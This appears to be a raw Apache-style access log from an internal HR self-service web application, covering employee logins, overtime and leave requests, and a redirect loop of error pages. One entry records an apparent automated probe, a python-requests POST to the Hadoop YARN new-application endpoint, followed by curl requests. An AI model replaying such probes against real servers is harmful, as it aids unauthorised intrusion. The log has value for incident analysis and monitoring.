192.168.11.78 - - [05/Sep/2025:16:38:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.78 - - [05/Sep/2025:16:38:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.68 - - [05/Sep/2025:16:42:11 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [05/Sep/2025:16:42:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [05/Sep/2025:16:42:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [05/Sep/2025:16:42:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8381
192.168.11.68 - - [05/Sep/2025:16:42:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11119
192.168.11.68 - - [05/Sep/2025:16:42:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11119 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116493 HTTP/1.1" 200 5228
192.168.11.68 - - [05/Sep/2025:16:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=116493 HTTP/1.1" 200 5228 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:16:42:31 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362
100.64.0.1 - - [05/Sep/2025:16:50:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:16:50:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [05/Sep/2025:16:54:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:54:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:16:57:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:57:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:00:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:17:00:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:01:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:17:01:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.40.91 - - [05/Sep/2025:17:06:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [05/Sep/2025:17:06:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [05/Sep/2025:17:06:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10340
192.168.40.91 - - [05/Sep/2025:17:06:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 58900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 58900
192.168.40.91 - - [05/Sep/2025:17:06:52 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:52 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131088%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131088&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131088%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131088&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [05/Sep/2025:17:06:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
